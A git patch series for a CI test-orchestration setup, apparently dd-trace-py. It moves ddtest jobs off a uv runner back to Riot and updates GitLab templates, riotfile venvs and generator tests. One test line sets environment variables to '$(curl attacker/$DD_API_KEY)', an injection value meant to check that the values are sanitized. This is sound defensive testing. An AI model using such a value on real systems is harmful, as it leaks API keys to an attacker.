'PYTHON_VERSION: "3.13"' in run_313_needs @@ -129,6 +130,10 @@ def test_ddtest_jobs_emit_suite_environment(gen_gitlab_config_mod): assert 'PYTHON_VERSION: "3.13"' not in run_314_needs +def test_ddtest_workers_can_disable_per_node_parallelism(gen_gitlab_config_mod): + assert gen_gitlab_config_mod._ddtest_module().ddtest_workers({"ddtest_workers": 1}) == 1 + + def test_ddtest_uv_jobs_use_generic_environment_hashes(gen_gitlab_config_mod): output = io.StringIO() ddtest_jobs = gen_gitlab_config_mod._ddtest_module() diff --git a/tests/suitespec.yml b/tests/suitespec.yml index 000f43e3d7c..bb5ee6c9666 100644 --- a/tests/suitespec.yml +++ b/tests/suitespec.yml @@ -291,6 +291,8 @@ suites: tracer: ddtest: true ddtest_nodes: 2 + # Keep each DDTest CI node single-process while UV environments stabilize. + ddtest_workers: 1 # Match tracer variants, but keep the uwsgi-only venv on its legacy job. pattern: ^tracer(?!-uwsgi(?:$|-)) env: From 9502b6a7bfec03c141eee7222ba22bce3791eb91 Mon Sep 17 00:00:00 2001 From: Munir Abdinur Date: Wed, 2 Sep 2026 23:06:38 -0400 Subject: [PATCH 10/15] fix(ci): keep ddtest dogfooding on riot --- .gitlab/tests.yml | 75 +----------------------- riotfile.py | 41 ++++--------- scripts/ddtest_jobs.py | 58 ++++++------------ scripts/gen_gitlab_config.py | 55 +++-------------- tests/contrib/suitespec.yml | 4 +- tests/internal/test_gen_gitlab_config.py | 47 +-------------- tests/suitespec.yml | 15 +---- 7 files changed, 44 insertions(+), 251 deletions(-) diff --git a/.gitlab/tests.yml b/.gitlab/tests.yml index 0a5b2e625a6..40cbb236ce3 100644 --- a/.gitlab/tests.yml +++ b/.gitlab/tests.yml @@ -115,77 +115,6 @@ include: ./scripts/check-diff ".riot/requirements/" \ "Changes detected in committed test locks. Run scripts/compile-and-prune-test-requirements and commit the result." -# --------------------------------------------------------------------------- -# ddtest's uv runner reuses the same suite definitions as normal uv jobs. -# It plans each hash independently because ddtest writes .testoptimization in -# the checkout root, then restores the matching plan in each run matrix job. -.ddtest_base_uv: - extends: .test_base_uv - -.ddtest_base_uv_snapshot: - extends: .ddtest_base_uv - services: - - !reference [.ddtest_base_uv, services] - - !reference [.services, testagent] - before_script: - - !reference [.ddtest_base_uv, before_script] - - ln -s "${CI_PROJECT_DIR}" "/home/bits/project" - -.ddtest_plan_uv: - extends: .ddtest_base_uv - script: - - | - set -euo pipefail - for hash_py in ${TEST_ENVIRONMENT_HASH_PYTHON}; do - IFS=: read -r environment_hash python_version lockfile tests_location <<< "${hash_py}" - requirements="$(mktemp)" - grep -vi '^ddtrace==' "${lockfile}" > "${requirements}" - wheel="$(find ".cache/ddtrace-test-wheels/${python_version}" -name 'ddtrace-*.whl' -print -quit)" - uv run --isolated --no-project --python "python${python_version}" --no-python-downloads \ - --with-requirements "${requirements}" --with "${wheel}" \ - ddtest plan --platform python --framework pytest --tests-location "${tests_location}" \ - --min-parallelism "${DDTEST_NODES}" --max-parallelism "${DDTEST_NODES}" - rm -f "${requirements}" - mv .testoptimization ".testoptimization-${environment_hash}" - done - artifacts: - when: always - paths: - - .testoptimization-*/ - expire_in: 1 week - -.ddtest_run_uv: - extends: .ddtest_base_uv - script: - - | - rm -rf .testoptimization - mv ".testoptimization-${TEST_ENVIRONMENT_HASH}" .testoptimization - export COVERAGE_FILE=".coverage.${TEST_ENVIRONMENT_HASH}.${CI_NODE_INDEX}" - requirements="$(mktemp)" - grep -vi '^ddtrace==' "${TEST_ENVIRONMENT_LOCKFILE}" > "${requirements}" - wheel="$(find ".cache/ddtrace-test-wheels/${PYTHON_VERSION}" -name 'ddtrace-*.whl' -print -quit)" - uv run --isolated --no-project --python "python${PYTHON_VERSION}" --no-python-downloads \ - --with-requirements "${requirements}" --with "${wheel}" \ - ddtest run --platform python --framework pytest --ci-node "${CI_NODE_INDEX}" --ci-node-workers "${DDTEST_CI_NODE_WORKERS}" - rm -f "${requirements}" - coverage combine || true - -.ddtest_run_uv_snapshot: - extends: .ddtest_base_uv_snapshot - script: - - | - rm -rf .testoptimization - mv ".testoptimization-${TEST_ENVIRONMENT_HASH}" .testoptimization - export COVERAGE_FILE=".coverage.${TEST_ENVIRONMENT_HASH}.${CI_NODE_INDEX}" - requirements="$(mktemp)" - grep -vi '^ddtrace==' "${TEST_ENVIRONMENT_LOCKFILE}" > "${requirements}" - wheel="$(find ".cache/ddtrace-test-wheels/${PYTHON_VERSION}" -name 'ddtrace-*.whl' -print -quit)" - uv run --isolated --no-project --python "python${PYTHON_VERSION}" --no-python-downloads \ - --with-requirements "${requirements}" --with "${wheel}" \ - ddtest run --platform python --framework pytest --ci-node "${CI_NODE_INDEX}" --ci-node-workers "${DDTEST_CI_NODE_WORKERS}" - rm -f "${requirements}" - coverage combine || true - # --------------------------------------------------------------------------- # ddtest job templates. Used by gen_gitlab_config.py for suites with # `ddtest: true` in suitespec. ddtest owns plan/run + file splitting; riot @@ -359,7 +288,7 @@ include: # Keep CI Visibility session names tied to the CI job and test command; # ddtest expands these placeholders for each local worker. "${riot_cmd[@]}" --command \ - 'export PYTEST_ADDOPTS="$DDTEST_PYTEST_ADDOPTS"; export DD_TEST_SESSION_NAME="${{CI_JOB_NAME}}-pytest ${{DDTEST_SUITE_PATH}} ${{DDTEST_PYTEST_ADDOPTS}} node-{{{{nodeIndex}}}}-worker-{{{{workerIndex}}}}"; case "$NIGHTLY_BUILD" in true) ;; *) case "$PYTEST_ADDOPTS" in *--no-cov*) ;; *) export PYTEST_ADDOPTS="$PYTEST_ADDOPTS --no-cov" ;; esac ;; esac; export COVERAGE_FILE="$COVERAGE_FILE"; ddtest run --platform python --framework pytest --ci-node "$CI_NODE_INDEX" --ci-node-workers "$DDTEST_CI_NODE_WORKERS"; coverage_files=(.coverage.*); if [[ -e "${{coverage_files[0]}}" ]]; then coverage combine; fi' \ + 'export PYTEST_ADDOPTS="$DDTEST_PYTEST_ADDOPTS"; export DD_TEST_SESSION_NAME="${{CI_JOB_NAME}}-pytest ${{DDTEST_SUITE_PATH}} ${{DDTEST_PYTEST_ADDOPTS}} node-{{{{nodeIndex}}}}-worker-{{{{workerIndex}}}}"; case "$NIGHTLY_BUILD" in true) ;; *) case "$PYTEST_ADDOPTS" in *--no-cov*) ;; *) export PYTEST_ADDOPTS="$PYTEST_ADDOPTS --no-cov" ;; esac ;; esac; export COVERAGE_FILE="$COVERAGE_FILE"; ddtest run --platform python --framework pytest --ci-node "$CI_NODE_INDEX" --ci-node-workers 4; coverage_files=(.coverage.*); if [[ -e "${{coverage_files[0]}}" ]]; then coverage combine; fi' \ "${RIOT_HASH}" .ddtest_run_snapshot: @@ -374,7 +303,7 @@ include: # is session-token-keyed, and parallel xdist workers cause cross-session # contamination (wrong stats, '400: list index out of range'). "${riot_cmd[@]}" --command \ - 'export PYTEST_ADDOPTS="$DDTEST_PYTEST_ADDOPTS"; export DD_TEST_SESSION_NAME="${{CI_JOB_NAME}}-pytest ${{DDTEST_SUITE_PATH}} ${{DDTEST_PYTEST_ADDOPTS}} node-{{{{nodeIndex}}}}-worker-{{{{workerIndex}}}}"; case "$NIGHTLY_BUILD" in true) ;; *) case "$PYTEST_ADDOPTS" in *--no-cov*) ;; *) export PYTEST_ADDOPTS="$PYTEST_ADDOPTS --no-cov" ;; esac ;; esac; export COVERAGE_FILE="$COVERAGE_FILE"; export DD_TRACE_AGENT_URL="http://testagent:9126"; ddtest run --platform python --framework pytest --ci-node "$CI_NODE_INDEX" --ci-node-workers "$DDTEST_CI_NODE_WORKERS"; coverage_files=(.coverage.*); if [[ -e "${{coverage_files[0]}}" ]]; then coverage combine; fi' \ + 'export PYTEST_ADDOPTS="$DDTEST_PYTEST_ADDOPTS"; export DD_TEST_SESSION_NAME="${{CI_JOB_NAME}}-pytest ${{DDTEST_SUITE_PATH}} ${{DDTEST_PYTEST_ADDOPTS}} node-{{{{nodeIndex}}}}-worker-{{{{workerIndex}}}}"; case "$NIGHTLY_BUILD" in true) ;; *) case "$PYTEST_ADDOPTS" in *--no-cov*) ;; *) export PYTEST_ADDOPTS="$PYTEST_ADDOPTS --no-cov" ;; esac ;; esac; export COVERAGE_FILE="$COVERAGE_FILE"; export DD_TRACE_AGENT_URL="http://testagent:9126"; ddtest run --platform python --framework pytest --ci-node "$CI_NODE_INDEX" --ci-node-workers 1; coverage_files=(.coverage.*); if [[ -e "${{coverage_files[0]}}" ]]; then coverage combine; fi' \ "${RIOT_HASH}" # Required jobs will appear here diff --git a/riotfile.py b/riotfile.py index 3412244e21f..87f366218ec 100644 --- a/riotfile.py +++ b/riotfile.py @@ -419,7 +419,7 @@ def select_pys(min_version: str = MIN_PYTHON_VERSION, max_version: str = MAX_PYT ), Venv( name="tracer", - command="pytest -v {cmdargs} --ignore=tests/tracer/test_uwsgi_shutdown.py ${{DDTEST_SUITE_PATH}}", + command="pytest -v {cmdargs} --ignore=tests/tracer/test_uwsgi_shutdown.py tests/tracer/", pkgs={ "msgpack": latest, "coverage": latest, @@ -435,14 +435,6 @@ def select_pys(min_version: str = MIN_PYTHON_VERSION, max_version: str = MAX_PYT "freezegun": latest, }, env={ - "DDTEST_SUITE_PATH": "tests/tracer", - "DDTEST_TESTS_LOCATION": "tests/tracer/**/test*.py", - # Exclude test_uwsgi_shutdown.py from ddtest's plan: it needs the - # uwsgi binary (in the separate tracer-uwsgi venv, not this one). - # ddtest reads DD_TEST_OPTIMIZATION_RUNNER_TESTS_EXCLUDE_PATTERN - # directly (settings.go), so setting it in the venv env works both - # in CI (riot --command inherits venv env) and locally (riot run). - "DD_TEST_OPTIMIZATION_RUNNER_TESTS_EXCLUDE_PATTERN": "tests/tracer/test_uwsgi_shutdown.py", "DD_CIVISIBILITY_LOG_LEVEL": "none", "DD_INSTRUMENTATION_TELEMETRY_ENABLED": "0", "_DD_CIVISIBILITY_PARTIAL_FLUSH_MIN_SPANS": "50", @@ -651,13 +643,6 @@ def select_pys(min_version: str = MIN_PYTHON_VERSION, max_version: str = MAX_PYT Venv( name="internal", env={ - # DDTEST_SUITE_PATH is the single source of truth for this suite's - # test location. The command references it via ${DDTEST_SUITE_PATH} so - # the path stays data (queryable by Riot's environment) rather than a - # literal baked into the pytest invocation. Local `riot run` works - # unchanged whether or not ddtest is installed; ddtest reads this env - # var via Riot's --command override to plan/run individual files. - "DDTEST_PYTEST_ADDOPTS": "-v", "DD_INSTRUMENTATION_TELEMETRY_ENABLED": "0", "DD_CIVISIBILITY_ITR_ENABLED": "0", }, @@ -1980,11 +1965,6 @@ def select_pys(min_version: str = MIN_PYTHON_VERSION, max_version: str = MAX_PYT ), Venv( name="pytest", - env={ - "DD_TRACE_PY_ENABLE_ITR_FOR_JOB": "false", - "DD_AGENT_PORT": "9126", - "DD_PYTEST_USE_NEW_PLUGIN": "false", - }, command=( "pytest --ddtrace --no-cov -n auto --dist=worksteal {cmdargs} tests/contrib/pytest/" " --ignore=tests/contrib/pytest/snapshot/" @@ -1993,6 +1973,11 @@ def select_pys(min_version: str = MIN_PYTHON_VERSION, max_version: str = MAX_PYT "pytest-randomly": latest, "pytest-xdist": latest, }, + env={ + "DD_TRACE_PY_ENABLE_ITR_FOR_JOB": "false", + "DD_AGENT_PORT": "9126", + "DD_PYTEST_USE_NEW_PLUGIN": "false", + }, venvs=[ Venv( pys="3.9", @@ -2884,9 +2869,7 @@ def select_pys(min_version: str = MIN_PYTHON_VERSION, max_version: str = MAX_PYT # DD_TRACE_OTEL_ENABLED must be set to true before ddtrace is imported # and ddtrace (ddtrace.config specifically) must be imported before opentelemetry. # If this order is violated otel and datadog spans will not be interoperable. - env={ - "DD_TRACE_OTEL_ENABLED": "true", - }, + env={"DD_TRACE_OTEL_ENABLED": "true"}, pkgs={ "pytest-randomly": latest, "pytest-asyncio": "==0.21.1", @@ -3684,10 +3667,6 @@ def select_pys(min_version: str = MIN_PYTHON_VERSION, max_version: str = MAX_PYT ), Venv( name="ci_visibility", - env={ - "DD_TRACE_PY_ENABLE_ITR_FOR_JOB": "false", - "DD_AGENT_PORT": "9126", - }, command=( "pytest --ddtrace -n auto --dist=worksteal {cmdargs} tests/ci_visibility" " --ignore=tests/ci_visibility/api/test_api_fake_runners.py" @@ -3699,6 +3678,10 @@ def select_pys(min_version: str = MIN_PYTHON_VERSION, max_version: str = MAX_PYT "pytest-xdist": latest, "gevent": latest, }, + env={ + "DD_TRACE_PY_ENABLE_ITR_FOR_JOB": "false", + "DD_AGENT_PORT": "9126", + }, pys=select_pys(min_version="3.9", max_version="3.13"), ), Venv( @@ -4004,10 +3987,10 @@ def select_pys(min_version: str = MIN_PYTHON_VERSION, max_version: str = MAX_PYT "selenium": "~=4.0", "webdriver-manager": latest, }, + command="pytest --no-cov {cmdargs} -c /dev/null tests/contrib/selenium", env={ "DD_AGENT_PORT": "9126", }, - command="pytest --no-cov {cmdargs} -c /dev/null tests/contrib/selenium", venvs=[ Venv( venvs=[ diff --git a/scripts/ddtest_jobs.py b/scripts/ddtest_jobs.py index 9414c1d14ff..774deda469e 100644 --- a/scripts/ddtest_jobs.py +++ b/scripts/ddtest_jobs.py @@ -27,11 +27,9 @@ def _get_bool_env(name: str) -> str: return "true" if value == "true" else "false" -def validate_ddtest_venv_test_locations( - suite: str, venvs: t.Iterable[tuple[str, str]], test_locations: t.Optional[dict[str, str]] -) -> None: - """Reject ddtest suites whose selected environments lack a test location.""" - missing = [h for h, _py in venvs if not (test_locations or {}).get(h)] +def validate_ddtest_venv_test_locations(suite: str, info) -> None: + """Reject ddtest suites whose matched venvs do not declare a test location.""" + missing = [h for h, _py in info.riot_venvs if not (info.venv_test_locations or {}).get(h)] if missing: raise ValueError(f"ddtest suite {suite} has venvs without DDTEST_TESTS_LOCATION: {', '.join(missing)}") @@ -60,17 +58,9 @@ def ddtest_k(config: dict) -> int: return int(k) -def ddtest_workers(config: dict) -> int: - """Return DDTest worker processes per CI node for a suite.""" - workers = config.get("ddtest_workers", 1 if config.get("snapshot") else 4) - if workers < 1: - raise ValueError("ddtest_workers must be at least 1") - return int(workers) - - -def _ddtest_base(snapshot: bool, gpu: bool, runner: str) -> str: +def _ddtest_base(snapshot: bool, gpu: bool) -> str: """Return the hidden base template a ddtest suite's before_script references.""" - base = ".ddtest_base_uv" if runner == "uv" else ".ddtest_base" + base = ".ddtest_base" if gpu: base += "_gpu" if snapshot: @@ -78,19 +68,19 @@ def _ddtest_base(snapshot: bool, gpu: bool, runner: str) -> str: return base -def _ddtest_plan_template(gpu: bool, runner: str) -> str: +def _ddtest_plan_template(gpu: bool) -> str: """Plan template. Plan only collects (glob + Datadog API); it sends no traces, so it never needs the testagent and has no snapshot variant — snapshot suites and non-snapshot suites plan the same way. """ - tpl = ".ddtest_plan_uv" if runner == "uv" else ".ddtest_plan" + tpl = ".ddtest_plan" if gpu: tpl += "_gpu" return tpl -def _ddtest_run_template(snapshot: bool, gpu: bool, runner: str) -> str: - tpl = ".ddtest_run_uv" if runner == "uv" else ".ddtest_run" +def _ddtest_run_template(snapshot: bool, gpu: bool) -> str: + tpl = ".ddtest_run" if gpu: tpl += "_gpu" if snapshot: @@ -107,9 +97,6 @@ def emit_ddtest_jobs( venvs: list[tuple[str, str]], k: int, testrunner_image_hash: str, - runner: str, - uv_lockfiles: t.Optional[dict[str, str]] = None, - test_locations: t.Optional[dict[str, str]] = None, ) -> None: """Emit ddtest-plan and ddtest-run jobs for one suite. @@ -120,7 +107,6 @@ def emit_ddtest_jobs( """ snapshot = config.get("snapshot", False) gpu = config.get("gpu", False) - workers = ddtest_workers(config) services = list(dict.fromkeys(config.get("services") or [])) env = dict(config.get("env") or {}) retry = config.get("retry") @@ -132,10 +118,10 @@ def emit_ddtest_jobs( env["PIP_CACHE_KEY"] = ( subprocess.check_output([".gitlab/scripts/get-riot-pip-cache-key.sh", suite_name]).decode().strip() ) - base = _ddtest_base(snapshot, gpu, runner) - plan_base = _ddtest_base(False, gpu, runner) # plan never needs the testagent - plan_tpl = _ddtest_plan_template(gpu, runner) - run_tpl = _ddtest_run_template(snapshot, gpu, runner) + base = _ddtest_base(snapshot, gpu) + plan_base = _ddtest_base(False, gpu) # plan never needs the testagent + plan_tpl = _ddtest_plan_template(gpu) + run_tpl = _ddtest_run_template(snapshot, gpu) job_prefix = f"{stage}/{clean_name.replace('::', '/')}" plan_name = f"{job_prefix}::ddtest-plan" run_name = f"{job_prefix}::ddtest-run" @@ -209,18 +195,12 @@ def emit_needs_build_base_venvs(needed_venvs: list[tuple[str, str]]) -> None: emit_needs_build_base_venvs(venvs) emit_services(plan=True) emit_before_script(plan=True) - environment_hashes = " ".join(h for h, _ in venvs) - hash_prefix = "TEST_ENVIRONMENT" if runner == "uv" else "RIOT" - hash_python = " ".join( - f"{h}:{py}:{uv_lockfiles[h]}:{test_locations[h]}" if runner == "uv" else f"{h}:{py}" for h, py in venvs - ) + riot_hashes = " ".join(h for h, _ in venvs) emit_variables( { - "DDTEST_EXECUTION_RUNNER": runner, "DDTEST_NODES": str(k), - "DDTEST_CI_NODE_WORKERS": str(workers), - f"{hash_prefix}_HASHES": environment_hashes, - f"{hash_prefix}_HASH_PYTHON": hash_python, + "RIOT_HASHES": riot_hashes, + "RIOT_HASH_PYTHON": " ".join(f"{h}:{py}" for h, py in venvs), "DD_TEST_OPTIMIZATION_RUNNER_COMMAND": "pytest", } ) @@ -256,15 +236,13 @@ def emit_needs_build_base_venvs(needed_venvs: list[tuple[str, str]]) -> None: print(" artifacts: true", file=f) emit_services(plan=False) emit_before_script(plan=False) - emit_variables({"DDTEST_EXECUTION_RUNNER": runner, "DD_TEST_OPTIMIZATION_RUNNER_COMMAND": "pytest"}) + emit_variables({"DD_TEST_OPTIMIZATION_RUNNER_COMMAND": "pytest"}) print(" parallel:", file=f) print(" matrix:", file=f) for h, _py in py_venvs: for node in range(k): - print(f' - {hash_prefix}_HASH: "{h}"', file=f) + print(f' - RIOT_HASH: "{h}"', file=f) print(f' PYTHON_VERSION: "{py}"', file=f) - if runner == "uv": - print(f' TEST_ENVIRONMENT_LOCKFILE: "{uv_lockfiles[h]}"', file=f) print(f" CI_NODE_INDEX: {node}", file=f) if retry is not None: print(f" retry: {retry}", file=f) diff --git a/scripts/gen_gitlab_config.py b/scripts/gen_gitlab_config.py index adda6aaae2b..7ac688c6cd1 100755 --- a/scripts/gen_gitlab_config.py +++ b/scripts/gen_gitlab_config.py @@ -38,20 +38,6 @@ def _ddtest_module(): return importlib.import_module("ddtest_jobs") -def _ddtest_execution_runner(info: "SuiteVenvInfo") -> str: - """Select the DDTest backend, honoring an explicit CI override.""" - selected = os.environ.get("DDTEST_EXECUTION_RUNNER", "auto").lower() - if selected not in ("auto", "riot", "uv"): - raise ValueError("DDTEST_EXECUTION_RUNNER must be one of: auto, riot, uv") - if selected == "auto": - return "uv" if info.uv_venvs else "riot" - # A global pipeline override still has to support suites that have not - # migrated to uv. They retain Riot until a uv environment exists. - if selected == "uv" and not info.uv_venvs: - return "riot" - return selected - - def _get_bool_env(name: str) -> str: """Return "true"/"false" for a boolean environment variable. @@ -212,11 +198,8 @@ class SuiteVenvInfo: venv_count: int python_versions: set[str] environment_hashes: tuple[str, ...] = () - # Riot metadata remains available for ddtest fallback jobs, including - # migrated suites whose regular CI jobs use uv. + # Riot metadata used to generate ddtest plan and run jobs. riot_venvs: tuple[tuple[str, str], ...] = () - uv_venvs: tuple[tuple[str, str], ...] = () - uv_lockfiles: t.Optional[dict[str, str]] = None venv_test_locations: t.Optional[dict[str, str]] = None @@ -249,7 +232,7 @@ def collect_all_suite_venv_info(suite_configs: dict[str, dict]) -> dict[str, Sui compiled: dict[str, re.Pattern] = {} for suite, config in suite_configs.items(): - if suite in UV_TEST_SUITES and not config.get("ddtest"): + if suite in UV_TEST_SUITES: continue pattern = config.get("pattern", suite) try: @@ -296,21 +279,10 @@ def collect_all_suite_venv_info(suite_configs: dict[str, dict]) -> dict[str, Sui if suite not in suite_configs: continue environments = uv_environments[suite] - riot_info = result.get(suite) result[suite] = SuiteVenvInfo( venv_count=len(environments), python_versions={environment.python for environment in environments}, environment_hashes=tuple(environment.hash for environment in environments), - riot_venvs=riot_info.riot_venvs if riot_info else (), - uv_venvs=tuple((environment.hash, environment.python) for environment in environments), - uv_lockfiles={environment.hash: environment.lockfile for environment in environments}, - venv_test_locations={ - **((riot_info.venv_test_locations or {}) if riot_info else {}), - **{ - environment.hash: environment.runs[0].environment.get("DDTEST_TESTS_LOCATION", "") - for environment in environments - }, - }, ) return result @@ -577,10 +549,7 @@ def _gen_tests(suites: dict, required_suites: list[str]) -> None: for suite in non_skipped: if not suites[suite].get("ddtest") or suite not in suite_venv_info: continue - info = suite_venv_info[suite] - runner = _ddtest_execution_runner(info) - venvs = info.uv_venvs if runner == "uv" else info.riot_venvs - _ddtest_module().validate_ddtest_venv_test_locations(suite, venvs, info.venv_test_locations) + _ddtest_module().validate_ddtest_venv_test_locations(suite, suite_venv_info[suite]) # Populate the module-level global so gen_build_base_venvs can use it _global_python_versions = set() @@ -636,29 +605,21 @@ def _gen_tests(suites: dict, required_suites: list[str]) -> None: py_versions = suite_venv_info[suite].python_versions if suite in suite_venv_info else None if suite_config.get("ddtest"): - info = suite_venv_info.get(suite) - if info is None: - LOGGER.warning("Suite %s opted into ddtest but has no test environments; skipping", suite) - continue - runner = _ddtest_execution_runner(info) - venvs = info.uv_venvs if runner == "uv" else info.riot_venvs - if not venvs: - LOGGER.warning("Suite %s has no %s environments for ddtest; skipping", suite, runner) + riot_venvs = suite_venv_info[suite].riot_venvs if suite in suite_venv_info else () + if not riot_venvs: + LOGGER.warning("Suite %s opted into ddtest but has no Riot environments; skipping", suite) continue k = _ddtest_module().ddtest_k(suite_config) - LOGGER.info("Suite %s: ddtest %s runner (venvs=%d, nodes/venv=%d)", suite, runner, len(venvs), k) + LOGGER.info("Suite %s: ddtest Riot runner (venvs=%d, nodes/venv=%d)", suite, len(riot_venvs), k) _ddtest_module().emit_ddtest_jobs( f, suite, stage, clean_name, suite_config, - list(venvs), + list(riot_venvs), k, TESTRUNNER_IMAGE_HASH, - runner, - info.uv_lockfiles if runner == "uv" else None, - info.venv_test_locations if runner == "uv" else None, ) continue diff --git a/tests/contrib/suitespec.yml b/tests/contrib/suitespec.yml index fa0005ab3bc..477dfc42816 100644 --- a/tests/contrib/suitespec.yml +++ b/tests/contrib/suitespec.yml @@ -1017,7 +1017,7 @@ suites: - tests/snapshots/tests.contrib.mlflow.* snapshot: true molten: - parallelism: 2 + parallelism: 1 paths: - '@bootstrap' - '@core' @@ -1378,7 +1378,7 @@ suites: - tests/contrib/tornado/* snapshot: true urllib3: - parallelism: 2 + parallelism: 1 env: TEST_HTTPBIN_HOST: httpbin TEST_HTTPBIN_PORT: '8001' diff --git a/tests/internal/test_gen_gitlab_config.py b/tests/internal/test_gen_gitlab_config.py index cb1018dbef4..431fcef6b07 100644 --- a/tests/internal/test_gen_gitlab_config.py +++ b/tests/internal/test_gen_gitlab_config.py @@ -82,20 +82,7 @@ def test_ddtest_requires_a_test_path_for_every_venv(gen_gitlab_config_mod): ) with pytest.raises(ValueError, match="hash-without-path"): - gen_gitlab_config_mod._ddtest_module().validate_ddtest_venv_test_locations( - "internal", info.riot_venvs, info.venv_test_locations - ) - - -def test_ddtest_auto_runner_uses_uv_for_migrated_suite(gen_gitlab_config_mod, monkeypatch): - monkeypatch.setenv("DDTEST_EXECUTION_RUNNER", "auto") - info = gen_gitlab_config_mod.SuiteVenvInfo( - venv_count=1, - python_versions={"3.12"}, - uv_venvs=(("uv-hash", "3.12"),), - ) - - assert gen_gitlab_config_mod._ddtest_execution_runner(info) == "uv" + gen_gitlab_config_mod._ddtest_module().validate_ddtest_venv_test_locations("internal", info) def test_ddtest_jobs_emit_suite_environment(gen_gitlab_config_mod): @@ -112,7 +99,6 @@ def test_ddtest_jobs_emit_suite_environment(gen_gitlab_config_mod): venvs=[("abc1234", "3.13"), ("def5678", "3.14")], k=1, testrunner_image_hash="image-hash", - runner="riot", ) content = output.getvalue() @@ -121,7 +107,6 @@ def test_ddtest_jobs_emit_suite_environment(gen_gitlab_config_mod): assert "PIP_CACHE_KEY: pip-key" in content assert "key: v1-pip-${PIP_CACHE_KEY}-image-hash-cache" in content assert "RIOT_HASH_PYTHON: abc1234:3.13 def5678:3.14" in content - assert "DDTEST_CI_NODE_WORKERS: 4" in content run_313_needs = content.split("core/internal::ddtest-run-3.13:", 1)[1].split("\n parallel:\n", 1)[0] run_314_needs = content.split("core/internal::ddtest-run-3.14:", 1)[1].split("\n parallel:\n", 1)[0] assert 'PYTHON_VERSION: "3.13"' in run_313_needs @@ -130,36 +115,6 @@ def test_ddtest_jobs_emit_suite_environment(gen_gitlab_config_mod): assert 'PYTHON_VERSION: "3.13"' not in run_314_needs -def test_ddtest_workers_can_disable_per_node_parallelism(gen_gitlab_config_mod): - assert gen_gitlab_config_mod._ddtest_module().ddtest_workers({"ddtest_workers": 1}) == 1 - - -def test_ddtest_uv_jobs_use_generic_environment_hashes(gen_gitlab_config_mod): - output = io.StringIO() - ddtest_jobs = gen_gitlab_config_mod._ddtest_module() - - with mock.patch.object(ddtest_jobs.subprocess, "check_output", return_value=b"pip-key\n"): - ddtest_jobs.emit_ddtest_jobs( - output, - "tracer", - "core", - "tracer", - {"env": {}}, - [("uv123", "3.12")], - 2, - "image-hash", - "uv", - {"uv123": ".riot/requirements/uv123.txt"}, - {"uv123": "tests/tracer/**/test*.py"}, - ) - - content = output.getvalue() - assert "extends: .ddtest_plan_uv" in content - assert "extends: .ddtest_run_uv" in content - assert "TEST_ENVIRONMENT_HASH_PYTHON: uv123:3.12:.riot/requirements/uv123.txt:tests/tracer/**/test*.py" in content - assert 'TEST_ENVIRONMENT_HASH: "uv123"' in content - - def test_build_base_venvs_template_gets_sanitized_bool_values(gen_gitlab_config_mod, monkeypatch, tmp_path): monkeypatch.setenv("NIGHTLY_BUILD", "$(curl attacker/$DD_API_KEY)") monkeypatch.setenv("UNPIN_DEPENDENCIES", "$(curl attacker/$DD_API_KEY)") diff --git a/tests/suitespec.yml b/tests/suitespec.yml index bb5ee6c9666..3d558995f46 100644 --- a/tests/suitespec.yml +++ b/tests/suitespec.yml @@ -289,14 +289,7 @@ suites: - tests/snapshots/tests.telemetry.* snapshot: true tracer: - ddtest: true - ddtest_nodes: 2 - # Keep each DDTest CI node single-process while UV environments stabilize. - ddtest_workers: 1 - # Match tracer variants, but keep the uwsgi-only venv on its legacy job. - pattern: ^tracer(?!-uwsgi(?:$|-)) env: - _DD_PYTEST_XDIST_INFERRED_SERVICE: tests.tracer DD_TRACE_AGENT_URL: http://localhost:8126 KUBERNETES_MEMORY_REQUEST: "4Gi" KUBERNETES_MEMORY_LIMIT: "4Gi" @@ -316,11 +309,8 @@ suites: retry: 2 venvs_per_job: 1 matrix: - command: pytest -v {cmdargs} --ignore=tests/tracer/test_uwsgi_shutdown.py ${{DDTEST_SUITE_PATH}} + command: pytest -v {cmdargs} --ignore=tests/tracer/test_uwsgi_shutdown.py tests/tracer/ env: - DDTEST_SUITE_PATH: tests/tracer - DDTEST_TESTS_LOCATION: tests/tracer/**/test*.py - DD_TEST_OPTIMIZATION_RUNNER_TESTS_EXCLUDE_PATTERN: tests/tracer/test_uwsgi_shutdown.py DD_CIVISIBILITY_LOG_LEVEL: none DD_INSTRUMENTATION_TELEMETRY_ENABLED: '0' _DD_CIVISIBILITY_PARTIAL_FLUSH_MIN_SPANS: '50' @@ -353,9 +343,6 @@ suites: matrix: command: pytest -v {cmdargs} tests/tracer/test_uwsgi_shutdown.py env: - DDTEST_SUITE_PATH: tests/tracer - DDTEST_TESTS_LOCATION: tests/tracer/**/test*.py - DD_TEST_OPTIMIZATION_RUNNER_TESTS_EXCLUDE_PATTERN: tests/tracer/test_uwsgi_shutdown.py DD_CIVISIBILITY_LOG_LEVEL: none DD_INSTRUMENTATION_TELEMETRY_ENABLED: '0' _DD_CIVISIBILITY_PARTIAL_FLUSH_MIN_SPANS: '50' From c6c503eafe9277aa17f95e092edc524c985642db Mon Sep 17 00:00:00 2001 From: Munir Abdinur Date: Wed, 2 Sep 2026 23:18:37 -0400 Subject: [PATCH 11/15] refactor(ci): generalize ddtest environment hashes --- .gitlab/tests.yml | 16 +++++++------- scripts/ddtest_jobs.py | 28 +++++++++++------------- tests/internal/test_gen_gitlab_config.py | 4 ++-- 3 files changed, 23 insertions(+), 25 deletions(-) diff --git a/.gitlab/tests.yml b/.gitlab/tests.yml index 40cbb236ce3..f6f0a2e89d9 100644 --- a/.gitlab/tests.yml +++ b/.gitlab/tests.yml @@ -208,7 +208,7 @@ include: # Each plan writes fixed paths below .testoptimization, so give every # hash its own Git worktree and output directory. - for hash_py in ${RIOT_HASH_PYTHON}; do + for hash_py in ${TEST_ENVIRONMENT_HASH_PYTHON}; do _hash="${hash_py%%:*}" _py="${hash_py#*:}" _workdir="$(mktemp -d "${TMPDIR:-/tmp}/ddtest-plan.XXXXXX")" @@ -280,30 +280,30 @@ include: extends: .ddtest_base script: - | - # Restore this venv's plan artifact (partitioned by RIOT_HASH in the plan job). + # Restore this environment's plan artifact from the plan job. rm -rf .testoptimization - mv ".testoptimization-${RIOT_HASH}" .testoptimization - export COVERAGE_FILE=".coverage.${RIOT_HASH}.${CI_NODE_INDEX}" + mv ".testoptimization-${TEST_ENVIRONMENT_HASH}" .testoptimization + export COVERAGE_FILE=".coverage.${TEST_ENVIRONMENT_HASH}.${CI_NODE_INDEX}" riot_cmd=(riot -P -v run --pass-env -s) # Keep CI Visibility session names tied to the CI job and test command; # ddtest expands these placeholders for each local worker. "${riot_cmd[@]}" --command \ 'export 